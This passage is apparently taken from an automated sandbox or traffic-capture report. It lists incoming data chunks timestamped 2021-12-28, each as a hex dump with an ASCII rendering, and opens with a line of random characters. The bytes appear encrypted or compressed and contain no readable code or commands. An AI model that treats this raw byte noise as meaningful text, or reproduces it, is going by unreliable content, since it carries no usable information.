^<yeJRFp*\0x2mHh~0`A3cihL:@a0-PE 9Q4Ql+Y>Ih2j\|)QoJ8hI-nB95Rc^5BAQp@MR1.jdBaf'm2OQp/S+MTX
2021-12-28 17:13:33 UTC	50	IN	Data Raw: 63 df 78 ec 7f 28 ee 42 e6 f7 c4 03 53 36 7b 84 f2 80 0b be 08 da 1f ee e2 28 29 d3 c5 ea 1a 3f 1d 16 19 a8 37 a9 a8 ae f6 07 5d 23 22 40 60 d4 11 76 5e 5f dd 61 2d 6c b0 90 a8 02 fd 1d 48 d7 c4 51 8f 52 63 a1 ad 63 24 59 d7 b5 bf 58 6c aa 63 62 20 28 d5 af ba 59 09 28 51 60 a6 d4 6c 2a d6 8c de bd 37 71 af db d8 2f f4 cc 2c ab 70 5e f7 b4 db c7 8a 05 68 18 67 8e 3a 98 9e 85 9a fe 84 2e 02 c1 11 b6 82 c2 14 71 3e 28 cc 92 c1 47 5e 4b 1a ae 8f e3 e0 54 55 83 e8 55 17 4d 25 f1 f0 15 46 10 8a bc 4d 71 97 f4 3e 62 b7 51 c4 82 b4 4a 31 c5 9b 94 32 fa d6 4f e4 c8 28 a3 59 fc b4 4d 8d 71 e4 5e 30 ac 83 02 8b ec 00 ee d3 f7 5c 42 c6 e9 04 50 d4 65 4d f3 6a 00 a7 bd 00 21 6d 58 51 63 03 9a 24 4e 73 01 88 d1 f5 36 16 bf 5d 95 e6 4d 46 9e 6c 53 a1 c8 6a 45 00 50 2b Data Ascii: cx(BS6{()?7]#"@`v^_a-lHQRcc$YXlcb (Y(Q`l*7q/,p^hg:.q>(G^KTUUM%FMq>bQJ12O(YMq^0\BPeMj!mXQc$Ns6]MFlSjEP+
2021-12-28 17:13:33 UTC	52	IN	Data Raw: 6b 99 9d d8 2d 29 04 97 a7 d9 b1 94 22 62 85 15 e7 48 9c fa 36 a5 46 98 66 59 58 8a 06 57 e3 2f da a6 23 47 8a 82 d2 83 fa ae 6b 07 8d 33 01 fc dc 1e c5 47 37 96 e6 3a ab 3b ac bf e6 d0 4f 9e 27 14 db ae f5 88 25 b6 fe 3d e6 72 d0 c0 56 eb 22 f9 40 e4 14 f2 83 fb 1b 1b 17 b2 fe 56 bc bb 49 97 c7 ea 46 2e 16 0a 17 71 d2 b1 71 c9 de 48 10 4e 7a a6 cd fa fa 45 e5 38 aa 36 fa 52 49 d9 82 72 0f 7f 28 fc 56 2e 61 21 a1 94 8f 2c ad d9 c7 d0 f4 58 6f 34 af bc f8 f3 72 fb 84 fb f6 f0 e8 14 b2 2a 49 78 82 9d e0 23 72 6c a0 9e ee 63 64 af bc 52 37 56 49 0e c4 57 61 71 71 bf e5 a4 33 a7 b7 b1 f7 9f 2e 1b ff 68 57 12 e6 3a ad 8e 07 0e 09 b6 8d af 7f bf 46 05 fc db 24 c2 92 ce d8 4b 92 ca e0 50 57 1f ea 03 e7 52 55 8e 5f ec 45 36 f5 c5 da de de 4f bb a7 7f 2f d9 97 67 Data Ascii: k-)"bH6FfYXW/#Gk3G7:;O'%=rV"@VIF.qqHNzE86RIr(V.a!,Xo4r*Ix#rlcdR7VIWaqq3.hW:F$KPWRU_E6O/g
2021-12-28 17:13:33 UTC	53	IN	Data Raw: 56 fc e2 cc 53 a9 66 f5 0c 48 68 ca 8e fb aa c4 ff 2b 8b d2 39 fa 55 30 ec a2 46 bb 5f cf c4 7a 59 f3 ad 73 a6 d2 9d 46 3b 7f de 89 91 3b 3a aa 02 69 ee d4 f4 51 86 2f 19 2e 44 28 96 8e d9 34 c2 3b d4 40 6a a4 b5 59 3d af 12 47 68 33 bf 55 58 ef 97 aa 30 41 25 fa 71 3b ce 36 8d f8 62 34 77 42 f6 b7 01 5f 77 2a 42 ee 64 7f 9d 2f 19 82 c1 60 d7 d9 75 bd de 6a 72 b5 1f e2 f3 ab 2d 60 6f 06 f9 7d 56 a4 ca 3f 01 5f 46 1d ba 19 5e c5 3d a4 bd b0 f0 57 37 fb 8e 64 cf a5 64 fc 67 e5 de f0 dd e0 a4 dc fa f7 da 85 bf 34 e6 7d f5 21 22 9f 02 b9 69 d1 f4 14 66 ed 67 78 bc 96 74 bb db d6 e3 27 c4 9e dd aa 3c 17 30 f4 50 e4 e7 9f 23 26 a7 a7 1d 59 d8 50 51 e1 b6 d6 ef b6 74 03 75 7c 29 ad 3f b6 81 46 37 3d ee 38 25 44 47 7c 2e 43 ff f4 7b 7e 9e a2 57 04 9a f8 86 83 d3 Data Ascii: VSfHh+9U0F_zYsF;;:iQ/.D(4;@jY=Gh3UX0A%q;6b4wB_w*Bd/`ujr-`o}V?_F^=W7ddg4}!"ifgxt'<0P#&YPQtu\|)?F7=8%DG\|.C{~W
2021-12-28 17:13:33 UTC	54	IN	Data Raw: 7e ee 94 80 3e 9f ee 1f 7c f8 08 ce f1 88 da 14 e7 91 9b 57 8e b3 80 55 9a e1 66 ba 93 95 40 7a b3 a8 84 6d 40 a9 03 cc 8b dc cf c1 d4 78 92 a9 e5 bb d1 a4 99 29 0d 4b 05 2e 96 e3 b2 69 a4 78 bf f6 7e d9 35 56 0e 14 75 51 51 87 55 35 37 55 87 85 0a 2b 60 0b fc 3f 77 57 dd a5 11 0c 59 d1 61 9c 62 61 a4 16 cd 7a 36 5f 64 f4 6b e8 bc 01 d4 cf 49 7e eb 35 4c ef 0a 82 c7 44 d0 4b 49 e1 54 a1 1b 28 0d e1 d6 18 3e 1c 81 c1 f5 f2 47 02 82 bf 97 37 f4 f0 b2 59 84 36 13 33 6e ad 0f 13 85 5b ca 38 db de ab 5a 0d eb f5 85 1c 11 91 c7 06 db 87 22 60 40 05 3f fe 56 e1 a4 d2 e0 bd 76 15 d7 69 a9 df 4b 79 97 02 bb b4 bb f4 af 12 91 f6 23 17 33 ce 66 50 90 53 4b 9f c6 7a 1d aa 59 13 a6 e7 a5 ca cd de 17 72 0c 03 7e 2e 50 62 38 8b 28 36 cf c1 c8 e2 7a cf 8c 29 ed 35 66 36 Data Ascii: ~>\|WUf@zm@x)K.ix~5VuQQU57U+`?wWYabaz6_dkI~5LDKIT(>G7Y63n[8Z"`@?VviKy#3fPSKzYr~.Pb8(6z)5f6
2021-12-28 17:13:33 UTC	58	IN	Data Raw: 36 0f 01 e3 4f fe c0 6f fd e4 ae e4 ff 87 08 a0 a4 3f cd cd 57 e8 10 e3 1e e6 8d 94 f3 94 d0 59 75 02 06 ed 59 7e c2 90 40 10 d5 fa 4f eb eb 7d 89 f1 4f 7d e5 c2 0d 25 d7 bb 2c 99 c2 64 0e c3 ac d9 1b cb 06 55 f7 9b 40 7a 0b 35 8f bb 23 04 6b 53 a4 44 8b 59 01 33 bf 13 ea b3 b7 b9 28 c0 25 a0 3c e3 50 72 d2 17 28 69 0a 79 2f bf 52 0c ed 37 58 c4 ba 7e b3 d8 38 c0 aa c8 91 be b4 a8 cf 33 6c 49 70 92 b2 8f f6 43 e5 ff 1d 70 40 71 0e cf 53 38 66 f2 ec cf 20 cf 17 6e 53 7d cd 79 49 a8 e1 75 35 2e ff d2 55 6f e4 21 74 22 13 37 04 9c 7f 65 b7 43 61 cd 5b 1c 0d f5 a0 4b 43 49 ba b2 9b ce d1 70 b0 de 76 07 ff af 6c 52 cb c4 43 2d 2d 0c a7 3e be 2d a4 94 df b0 13 b0 01 b6 83 08 f1 8a 4b 8f fd a2 10 0f 1d 11 94 bd 12 ab af dd 21 83 30 17 7c 45 23 34 9f 4f 87 87 3c Data Ascii: 6Oo?WYuY~@O}O}%,dU@z5#kSDY3(%<Pr(iy/R7X~83lIpCp@qS8f nS}yIu5.Uo!t"7eCa[KCIpvlRC-->-K!0\|E#4O<
2021-12-28 17:13:33 UTC	62	IN	Data Raw: 2d 83 d8 d8 e3 de 03 1d be be 40 6b ee be cd 44 66 b4 09 03 08 32 c2 10 d0 bf ff 6e a3 90 ef 8a 48 a0 79 f9 ce c0 3e 33 a4 27 0c c9 60 db 21 27 bb ac 0a b7 7a f7 86 36 0d d3 10 90 e3 2c c7 8a 96 35 4c 79 fb 1b cf a2 7e f5 80 89 f3 7e 6f 04 02 7c d8 ac 59 d6 8a 04 72 38 d8 23 f7 07 4f 5a ff 02 6c 6f 21 51 cf 15 db ca b5 93 f4 0c a8 85 af 9a 3f 1a 06 55 43 da 69 98 74 ff 5f f9 ad 88 38 1c 8c 98 a5 8f b2 47 06 12 20 ca b3 32 68 5f df f4 06 28 64 fe f6 bd da 8f 5d 0d 7a 28 24 34 c2 30 d3 ca 19 fd 8e 33 88 70 5b b9 c1 96 c6 70 ad 69 a4 c2 cf 50 fa fd 2d e4 07 74 3c 35 96 19 46 b7 9d 6e 12 f1 9d 72 1a 8b 70 1b 30 89 df 07 91 82 ed 09 0b 6e 40 60 a9 75 56 a4 d3 27 8c e8 fc 7a 13 ea 00 4d ab a0 3e 60 53 0f 44 4a 5e f7 66 da 1e 8c 15 6d 24 70 5f 08 b5 ed 51 2b 7c Data Ascii: -@kDf2nHy>3'`!'z6,5Ly~~o\|Yr8#OZlo!Q?UCit_8G 2h_(d]z($403p[piP-t<5Fnrp0n@`uV'zM>`SDJ^fm$p_Q+\|
2021-12-28 17:13:33 UTC	63	IN	Data Raw: 25 e9 41 71 6c 0a 91 1c fe 9d 1a af 83 f9 47 23 4a eb fd 5c 80 95 13 1a 4e 13 52 c5 43 ba a1 b4 1e 78 7b 7c 11 90 ed 43 51 78 66 c9 d6 11 58 16 5e 71 61 2e fd 39 cc b0 75 93 b8 20 f2 94 80 21 a6 2b d5 4e 26 f0 64 74 b4 a1 84 7c c3 28 52 64 74 72 e8 a5 47 03 e9 b4 64 13 50 9a e1 0a 4b 58 c5 91 ff 56 dd f1 3d 60 58 5a af 01 be 9c 4f 10 0e 3d 00 59 31 a6 96 26 a7 c6 dc bf 64 8d 35 34 85 63 8b c7 ca da c5 23 37 83 56 e0 ab ba 21 f4 a0 5e 1e bc f0 65 33 73 84 3e 0e 7a 16 e8 25 c3 97 ea 67 be 33 47 ad 5d 49 51 2d 43 cb 4b 20 b3 67 ab 50 a1 d3 c3 3c f5 54 ed b0 c5 c2 9e c9 6a d5 84 31 25 e6 6e 03 22 db 2b bf a9 19 09 5e fc a7 f1 46 e3 87 8f ee ff 05 19 5f d4 97 7b d8 75 74 4b 72 08 37 14 e8 48 dc 28 d0 cd 89 11 80 3b 00 3f 6b 29 f2 22 a8 a5 ed cc dc 6a c4 ac 5d Data Ascii: %AqlG#J\NRCx{\|CQxfX^qa.9u !+N&dt\|(RdtrGdPKXV=`XZO=Y1&d54c#7V!^e3s>z%g3G]IQ-CK gP<Tj1%n"+^F_{utKr7H(;?k)"j]
2021-12-28 17:13:33 UTC	68	IN	Data Raw: 75 9a a3 53 70 12 4c 3d d6 87 37 64 f0 14 50 00 52 e5 09 c2 90 7f 3b b9 00 f2 39 5c 2c 1e 95 7e 1b 49 c7 44 f5 49 26 78 ae 15 10 f9 94 c3 f1 bc d2 c1 66 dc c7 8b 18 5a fd c5 e7 60 6f e4 85 8a 1e dd 72 df 98 03 ca 04 cf cf 13 19 04 ec d2 2c 65 33 12 52 56 04 ef b9 d2 00 71 0a 5a e2 b9 6b 4b b6 4a c5 25 fa 9a 29 3c 8f b6 6a 24 e5 6a e2 fe 6a a7 87 07 24 97 d3 1f dc a9 d8 3d 6f ed 9f 5e 7e b4 49 d1 4a 58 2a f9 4f 1a 4c 8c da 0b f4 fb 9c ff 72 6f 0b 38 6f 47 e6 f2 40 f7 11 af 72 3d 08 27 c6 95 6e bb 88 91 ec 1e ee 68 f5 55 01 c8 5e d0 2c 7c 67 1a 81 e2 88 83 77 d9 cf ca 92 3f 4c f3 cd 83 97 a7 e8 88 cb 9c 07 49 15 6b 86 c1 b0 1d b0 a0 ed 26 57 c3 f5 3a e0 96 e0 82 76 38 da ca 50 ec 70 7b 56 be 50 64 a8 35 23 07 53 6e cc b0 f4 5c 9d f0 28 e2 4f 93 bf ad 76 55 Data Ascii: uSpL=7dPR;9\,~IDI&xfZ`or,e3RVqZkKJ%)<j$jj$=o^~IJX*OLro8oG@r='nhU^,\|gw?LIk&W:v8Pp{VPd5#Sn\(OvU
2021-12-28 17:13:33 UTC	72	IN	Data Raw: 16 73 f4 c1 c1 9c 24 ea 8c 05 7c e5 cd dd fc 6d 8d 1e b6 0b 06 2e 0d 5c 3c 54 24 39 13 fb 84 df 88 be 56 3e fa 67 a8 97 2f 8b 1f cb 56 05 6a 79 3d 43 3a bf ad dc bf 4d b2 84 d9 b2 7f 9c 24 0f fb c3 16 e5 42 89 03 d1 e2 45 d4 b3 fe 5b d4 c8 b0 ce 91 d9 ba 58 b9 13 05 81 28 d3 3f e3 9b a1 4a f6 e6 57 ae 6e 0f 65 05 92 6c c0 10 7f 5c 33 20 93 67 3f e6 93 b9 11 b7 33 a6 d4 54 ac 44 b7 2c 51 e5 ff 87 3d af 4e 4a 01 91 ec 10 b1 b6 55 03 2d e9 bb 0e fe 61 25 18 83 16 dd be ed ac 6b 1d d4 07 8d 43 09 ae a8 a9 65 45 f1 f0 97 9a 26 f9 36 b5 10 c3 d0 a6 9e 8f 7f 56 89 c7 e4 cf 8a d3 ee fd ac cf 3c 1f 7c 87 43 38 6c d4 a8 3b 47 8c c1 99 4c 54 57 04 75 ac df 83 69 1d 01 f3 22 6a a3 14 24 5c e3 e4 00 da ea 94 93 af fa f0 38 ec 2e e6 9a 85 d7 ff 35 e5 e6 78 b7 a9 7d bc Data Ascii: s$\|m.\<T$9V>g/Vjy=C:M$BE[X(?JWnel\3 g?3TD,Q=NJU-a%kCeE&6V<\|C8l;GLTWui"j$\8.5x}
2021-12-28 17:13:33 UTC	76	IN	Data Raw: a2 eb ca 11 8e be c8 50 a6 a2 3f 1c 5c b6 62 5b bf 76 70 25 08 dc 3a 60 79 f7 74 9c 6a ce ec ae 46 3d 37 a6 f1 5c 38 ac 73 1e 82 53 45 97 94 bb ab 04 54 1c b2 85 af fb 36 2f 7f b2 50 50 b7 90 aa 27 4f 38 95 83 0c 0b 4e bd 7a 13 77 55 27 f6 f8 66 38 6d 03 ae ba 3b 3e d3 25 00 6a 8f 34 f6 f6 78 f5 a8 71 f3 a9 70 8c 00 d5 a3 4d ce b7 b4 73 72 6e a1 be 61 2c 59 44 97 50 d1 03 0c a8 db 8a a9 56 dc bf 38 51 7f 84 41 24 cd 46 95 07 b3 65 a5 99 eb f3 0c 3a e4 a8 ab 15 5c 8d b2 b2 fc df d2 5f 71 89 fe 25 1a b4 9b e1 61 1f 50 73 a9 45 12 00 29 b2 24 c9 9b ce f0 ee f5 eb 7b 20 e2 b3 7a a9 78 12 61 93 2d df 4c f7 d8 55 75 52 ff 60 1a 8e 1a 28 78 21 56 6d e4 b8 ae d7 9b d5 98 e6 0c 65 70 ad 63 ac 0d 08 dc 33 a7 79 e1 c7 aa 4e ca 82 a3 4f b2 6a 68 c0 80 45 a7 ed f5 6a Data Ascii: P?\b[vp%:`ytjF=7\8sSET6/PP'O8NzwU'f8m;>%j4xqpMsrna,YDPV8QA$Fe:\_q%aPsE)${ zxa-LUuR`(x!Vmepc3yNOjhEj
2021-12-28 17:13:33 UTC	80	IN	Data Raw: 13 3c ef b3 0f 41 3f 45 f8 48 37 0c 04 5f 91 9f 86 55 bf 49 5c e2 fb c9 cd 65 49 e4 6b 9a 95 78 04 29 0b 26 45 07 03 6c a7 f4 3b b7 5c a9 41 4e 26 f0 fe 12 25 4b ad 11 00 5f 12 8b 0f 44 31 57 2d e1 2f 16 c7 e6 b5 be 34 dd 04 d4 b8 c6 21 af 34 27 4e ab 98 17 07 df e0 b9 1e 9c ce ac a8 48 95 3b 35 1e d0 fb ff 5e 7c 7a 31 bc 8b 20 f9 a6 47 3d 19 25 c4 73 4e 54 09 58 fa 64 e7 fe b3 c8 ce 64 2d 31 06 ce f5 e5 a8 42 77 61 c2 2d ca f8 50 b7 02 48 68 a5 93 7b e5 02 80 9a 3d bc 71 52 fb 77 13 36 f2 8b 49 55 72 30 be c2 da 02 20 0b a0 60 4f bc 22 40 1f 6b d2 3f c0 b0 10 e7 cf c4 71 b6 04 8f ff 26 8f ff 30 b5 dc 92 9e bb 69 79 29 b2 8a 6a a8 9e 52 ed 9b 58 b7 b4 74 eb 5d f7 ef db ff 54 a2 52 12 7e 7c 3b b5 fe 04 93 53 e7 ac b7 05 03 b7 93 5c 30 11 f4 aa 3d 48 78 17 Data Ascii: <A?EH7_UI\eIkx)&El;\AN&%K_D1W-/4!4'NH;5^\|z1 G=%sNTXdd-1Bwa-PHh{=qRw6IUr0 `O"@k?q&0iy)jRXt]TR~\|;S\0=Hx
2021-12-28 17:13:33 UTC	84	IN	Data Raw: 60 3a 56 ba a9 2f 3f c0 ed 47 85 36 5e c2 fc 79 93 94 2f 81 68 e9 7a 31 6f e2 5f 78 d5 8b 5a 2a ff 46 e7 80 af 7f 7e dd 99 99 6e 93 f9 0b 18 79 95 1f 4b 92 1b 59 97 96 13 2c 9f 27 3e 27 8b 4b 5b 2c f8 98 dc b0 72 b4 f5 1f c5 1f 2e 7c 79 93 80 21 cd dc ee 4b fc 7b ca f3 4c 17 2b 66 f5 38 08 47 6e 7a a0 fa 4f 1f fa d5 81 29 0c b5 ad f9 6f fa 00 7a ba a8 72 c8 29 6f b2 8d 49 d7 b7 4b 1b 8a 7b d9 51 a3 c0 b0 bd 8c e3 ba 21 bf 79 44 d2 29 ab c0 7c 45 11 da e4 38 af 60 e6 18 e7 8b cf 18 78 af c7 f9 5e 3d 9b c2 d7 30 88 40 3f 97 7f 91 96 4d dc 55 21 50 46 9a 31 89 52 8a b4 eb a1 37 6c 52 20 3a 7c 2d e6 0c d0 7c f1 13 60 c9 77 64 75 7a 25 c9 6b 05 e5 c0 07 c2 e0 b1 a9 89 f4 3e 38 dc 62 88 c2 6b 08 c8 03 75 32 b6 85 e1 5b c6 a9 bf 72 10 8c b5 71 98 04 f9 6b c0 51 Data Ascii: `:V/?G6^y/hz1o_xZ*F~nyKY,'>'K[,r.\|y!K{L+f8GnzO)ozr)oIK{Q!yD)\|E8`x^=0@?MU!PF1R7lR :\|-\|`wduz%k>8bku2[rqkQ
2021-12-28 17:13:33 UTC	88	IN	Data Raw: 53 b5 65 4c f6 a4 27 1a e5 0f 50 e7 d0 2b 73 6f 64 38 65 ab 8c 9a be 26 25 be 43 f1 1b 16 ef e2 3f b7 d1 a2 69 8f 22 d1 74 42 ea e7 9a 02 ca de d9 a7 35 e4 39 51 ee 41 5b 62 27 c7 41 4f 5f 97 1e 4a 76 4b 51 bc 9a 4e 99 31 77 54 34 7e e8 4f b1 ed 2f 2b ee f6 55 e8 c9 55 2b ec 2d e4 a0 8d 51 4b da bd c9 0a 57 3b cd 3c 0d 41 09 91 ff 90 51 7a a3 92 e3 e4 99 77 15 5a db 46 4f 61 ae 10 03 3f 7c e0 c5 db 25 21 1d c3 f0 16 c9 c1 37 7e 4e 6b 8e 58 72 50 80 e4 83 e8 7e 60 6c fe c8 ae 84 67 c3 67 0c 9f ea f3 b6 74 87 3b b8 c7 be b2 ed 3e ad 9c 68 45 86 7a 6a 6c 94 49 56 2b ce 4e 25 54 82 93 ba a2 e3 a3 6c 3a 13 2a c2 18 8e f9 cb 62 03 c1 d7 d1 79 08 67 d2 8b 59 54 f9 42 4a 59 0a b7 3b 02 6c fe bb 15 12 a0 73 01 c9 4b c2 7c 38 76 90 9d c7 09 6c dd 44 de 7c 27 b0 68 Data Ascii: SeL'P+sod8e&%C?i"tB59QA[b'AO_JvKQN1wT4~O/+UU+-QKW;<AQzwZFOa?\|%!7~NkXrP~`lggt;>hEzjlIV+N%Tl:*bygYTBJY;lsK\|8vlD\|'h
2021-12-28 17:13:33 UTC	92	IN	Data Raw: 89 91 0b 6c a5 ca 49 16 9a 75 38 96 bd 71 dd 9f 04 4b b7 14 fe 33 94 6e cc 04 d9 7e 7d 94 4a e9 7b 52 42 8c 3e e2 2f a1 78 93 2c aa fc 58 27 b3 9a e4 95 cc 1c b8 43 b8 21 a6 9e bf e8 c0 6a 0c 6a 16 8d 64 bd 3b ce 65 ba 78 98 4a 26 bf 55 fc 91 c0 a0 97 71 17 e7 13 e0 45 09 4e 2b 74 ea 57 3f 20 8b 49 17 ee b9 f1 af ba 6d 6c 23 a3 cf 8b db 3d 0a 82 ab fc 15 b8 1f 18 1d f0 6e ec c4 d0 42 53 23 61 c9 62 c3 f6 a3 12 a5 39 dc ce 51 32 79 98 46 ed 10 dc 14 16 a9 db 31 64 a3 39 65 87 c5 55 31 51 a5 de 76 1d 89 51 3f ee d5 d5 e3 88 b3 e0 f3 5e df 91 a5 35 ec 82 5e b3 21 10 31 20 ee 75 ea 42 d7 f0 89 43 91 3d ab d9 22 ff e8 cb 07 9d ac 5a 01 bd 7f 12 c8 a5 d0 56 13 6c 61 1c 58 6a 12 0b c4 61 3d 82 c6 89 2c 58 e2 79 ae a0 fc 85 32 bc 57 59 57 fe 5c 1e 50 27 e5 09 13 Data Ascii: lIu8qK3n~}J{RB>/x,X'C!jjd;exJ&UqEN+tW? Iml#=nBS#ab9Q2yF1d9eU1QvQ?^5^!1 uBC="ZVlaXja=,Xy2WYW\P'
2021-12-28 17:13:33 UTC	95	IN	Data Raw: 24 e7 ad bf 66 c3 56 42 7d 59 46 36 40 05 f0 18 27 52 a1 1c 98 8e 75 f1 75 36 e7 b6 08 f6 a3 c2 69 49 8d 6c 6e 52 08 4a 91 62 00 02 63 0a 5b 53 56 bb 1f a5 f4 9b 96 3b 20 88 61 f6 3c 66 c8 13 87 fe c6 c7 02 87 da 43 90 84 6d b3 c3 56 30 c2 ff 40 45 c5 16 71 ec ff af 4d c0 c8 40 b1 09 8b 5b 5f 15 c4 bc 1e 60 04 29 fb 14 a4 69 4f 2d cd 35 5b ce 06 fd e3 94 17 e9 06 ce 1b 73 06 87 0d 40 5a 1b e0 d5 33 17 cd 48 c9 d5 df 78 05 7a 63 a0 06 a4 87 97 4e 32 3e d3 b7 af d2 9f 00 6f 80 f1 d3 f4 d0 b1 09 ac 4e d6 84 c7 b2 43 cb e5 c0 92 32 71 9c f0 10 ec 08 30 fd db 21 9c 20 f9 9c d2 bf bc 0f 0c d3 0f 85 bf 61 5b c8 d2 20 41 c4 3c 21 94 60 f8 71 23 ab 0e 49 0d f6 2b 14 f8 40 4c 4b 3a 2d 5e 29 79 f1 76 1b a6 3a f3 b2 ce a3 e1 d4 a3 5e f1 df da ca 11 62 6d 3a 8f 00 69 Data Ascii: $fVB}YF6@'Ruu6iIlnRJbc[SV; a<fCmV0@EqM@[_`)iO-5[s@Z3HxzcN2>oNC2q0! a[ A<!`q#I+@LK:-^)yv:^bm:i
2021-12-28 17:13:33 UTC	100	IN	Data Raw: bb 69 3b 30 9f 68 0a 52 22 27 8b 72 4e 33 a0 8d 67 d5 4d 00 a6 8a d6 77 85 18 d9 8b cb b1 2a b2 d6 88 09 39 4e 90 d9 46 86 44 54 71 00 fa a5 d6 48 c2 96 45 13 76 b9 54 77 28 8b 3c 6a fb c3 ae b8 b4 be 87 20 54 a8 a3 e2 fc 53 90 d1 13 d4 78 eb bd be 3c 74 92 0b f8 89 6e 31 e7 0c 23 55 78 5f 60 aa 39 77 ae 71 d2 e3 00 7d 4b b9 a4 db 13 52 28 d4 96 ce b4 02 1e df 0b ff 9f 12 46 48 34 ba e7 31 64 6b 7b 69 8c 27 b2 e4 51 0c 12 b5 6e 11 ae 0f a7 a6 3a bd 60 7f b7 41 8a b3 d6 53 e4 ff b0 e8 0e 3e 64 1b 53 27 3e 40 36 a3 97 44 db e6 de 4a c3 b7 9c 7d d3 eb c2 8e d5 b5 8e 3b 69 e5 4c 4f 0e 01 44 26 b6 a7 ab 77 2b 91 dc 85 3e de a6 b6 f6 de 08 d0 dc b7 5a 7c dd 1b 2f 93 58 28 29 b4 1b 4a 39 6a fc cd a3 0a c6 bc 95 32 93 c0 1f c8 f0 e8 19 e7 5c 27 40 65 0f df 0d c9 Data Ascii: i;0hR"'rN3gMw*9NFDTqHEvTw(<j TSx<tn1#Ux_`9wq}KR(FH41dk{i'Qn:`AS>dS'>@6DJ};iLOD&w+>Z\|/X()J9j2\'@e
2021-12-28 17:13:33 UTC	104	IN	Data Raw: 1d b4 f9 a7 45 e5 93 c2 fb ee cb b5 03 c6 c2 14 3f 4f ff 98 98 de a2 bb f8 09 a1 76 d3 aa ab c3 72 62 62 8f be cd b0 b7 2f e0 de 07 a1 f8 ae 82 b3 a1 9d 00 ff f1 9a d7 0a 5e 57 a9 cf a8 d1 90 e9 bd 13 bc f5 93 ea e1 a7 4c ab 7e 6e eb 55 52 19 bd d8 91 cd 5a 01 a0 8b e0 78 09 99 39 2a 08 a8 af 5e 0f 77 cb 3d 58 e2 aa 84 86 2b 55 6c b5 74 e9 18 94 f3 cd 36 78 7d 5c 2d 97 ee b3 9f a2 b9 52 bf f7 97 f7 88 00 12 1c 22 a4 e3 ef e9 77 c3 9c f2 66 aa 81 ae 3e b6 51 d8 c5 5c 9f 4f f0 e3 08 14 a3 3f 3a c2 d5 ec 9b 28 b2 4c fd 1b 54 62 c1 06 67 b9 79 6c 5e 78 09 96 97 57 09 c7 d1 90 52 39 52 f4 65 2a 66 ed f7 95 32 d5 9b 09 45 14 e7 bf 8b 0b d3 2f a4 1b 23 7b 00 b8 cc 41 d4 6e 40 7b bd 64 ab fc f5 f4 db de 10 39 0c 55 06 a3 e2 e3 00 57 91 27 18 09 9c 5c 00 60 85 35 Data Ascii: E?Ovrbb/^WL~nURZx9^w=X+Ult6x}\-R"wf>Q\O?:(LTbgyl^xWR9Ref2E/#{An@{d9UW'\`5
2021-12-28 17:13:33 UTC	108	IN	Data Raw: f9 8c 35 4b b9 e4 c3 19 9b ac 9a 93 61 cf 10 cc 7c ce ef 37 9e 91 c0 65 8c cd 76 52 96 05 d2 4a 1c d6 f3 7b cb a0 c2 d9 b8 d9 46 e4 27 57 9b c4 23 e6 f3 cf b4 f7 92 c5 b7 90 f6 7f 96 16 78 dd 68 83 35 58 3a 4e d0 ea 89 d3 13 fe 9c 63 60 f9 53 6f d4 e8 72 03 1f 7f e3 7f c9 a3 90 47 eb 31 23 ed a2 50 fe 8d 64 a4 04 04 ca 1a 97 58 e8 7a c1 64 e4 8c a3 e4 d0 d3 93 e3 be fc 14 29 0e b6 4d f9 6e 60 cb c9 58 5e 35 f9 85 59 12 f6 0a f3 d6 db af 95 7c 99 36 05 89 d1 49 61 f1 c8 e2 54 5d 30 c4 b1 76 c4 3c 17 af 95 33 b9 1e 77 38 6a b6 a2 20 9f d0 47 e4 4c a7 8d 48 40 ef b3 80 c9 22 08 e9 dc 5a 71 19 ea 87 e5 79 35 3a 0f 5c cf 70 39 83 f4 59 0f c5 cf 2e ce 4c ad 8f 84 2e c5 d9 74 0b 45 c2 7a 99 6b 55 03 9d 50 c2 69 ba 7a ce d7 86 2d 35 81 1e f6 7e 05 ae b5 b0 03 d5 Data Ascii: 5Ka\|7evRJ{F'W#xh5X:Nc`SorG1#PdXzd)Mn`X^5Y\|6IaT]0v<3w8j GLH@"Zqy5:\p9Y.L.tEzkUPiz-5~
2021-12-28 17:13:33 UTC	112	IN	Data Raw: 39 52 bd 29 12 12 8c 35 41 2a 7a d0 e2 55 20 64 69 99 91 d7 0f 12 96 84 84 9a 92 1e 5c 0b 98 77 ed 97 af 61 ee f8 bb 4b 8e 36 d6 4e 67 78 27 f7 66 96 64 5f 69 a7 17 a6 c9 a9 7d 16 c4 51 75 f6 8c 18 a9 8a 0c 7d 60 9a 7e e4 4e bd 86 ad ac 96 c5 68 89 ec e7 36 4e 92 d1 8f 51 39 0c cd e2 65 86 64 04 2a c1 c0 ff d2 d1 f3 d1 36 9c 86 75 65 b6 ef 85 b3 96 be a6 e8 98 40 bc 4c d0 58 0a d3 3a e5 b0 6b 12 ea 2e 99 b4 0f b8 f4 13 ff 57 c2 30 6f f1 ef 56 4e b5 f4 0b 74 b2 82 99 77 f2 9d 81 9c 7b fa c5 c7 03 a8 55 d8 91 81 8f 40 1f 87 d6 c3 06 63 1b 43 b4 89 04 f4 0b fe 47 d2 bf c7 b4 8e 42 fd 99 94 c7 70 c4 1f 85 21 43 a2 c2 18 06 fd fe 50 05 70 96 da 41 c3 5d 1c f8 7f 57 7a 62 f6 35 4b 0e 03 fa 79 57 43 d5 84 9b b1 36 1c 14 3c 97 5d 29 19 ae 99 a8 e3 ab 85 de ac 5d Data Ascii: 9R)5AzU di\waK6Ngx'fd_i}Qu}`~Nh6NQ9ed6ue@LX:k.W0oVNtw{U@cCGBp!CPpA]Wzb5KyWC6<])]
2021-12-28 17:13:33 UTC	116	IN	Data Raw: 8d 94 55 e1 ab 0c cd c0 71 f6 78 a0 6f 22 5e 2c 73 c0 56 ed 84 f1 29 d5 06 4b 5d 7c 64 ca 82 6d 6e 61 dd 9d 6b b2 12 e5 f2 3f 51 40 2d a8 68 bd b6 03 d6 08 53 7e 37 88 46 f1 f9 41 a1 48 ea 19 1e cc fa ae ec 52 cf 43 31 c9 4e 97 a4 0a e3 4c 6c 20 a1 de 8b cc 0e b8 d6 5a 8d 0a 4b ea c0 57 8b 46 1c 79 27 13 41 41 a8 2b e8 66 18 bd a7 5a 7f c5 dc bb 71 fe d5 1c c7 a9 36 91 82 46 f7 5d a1 80 98 f2 57 ae 6b 63 35 60 db f4 07 d2 d5 a6 b0 f1 1d 7d b4 a7 7f 07 41 55 1f 5f 9e ad 94 24 f9 07 c1 0d 2e b3 2d 2a 0d 26 b1 97 51 cb e8 ed 68 aa ff 42 53 ad 8a f9 a3 a4 5f 7b 86 b4 b3 e4 b7 d8 28 cb c2 3f 87 bd 8e db 32 5f eb 09 da 6b 48 fa 49 47 c1 2c 2c 9c 82 ec 29 c7 22 aa f6 7f e5 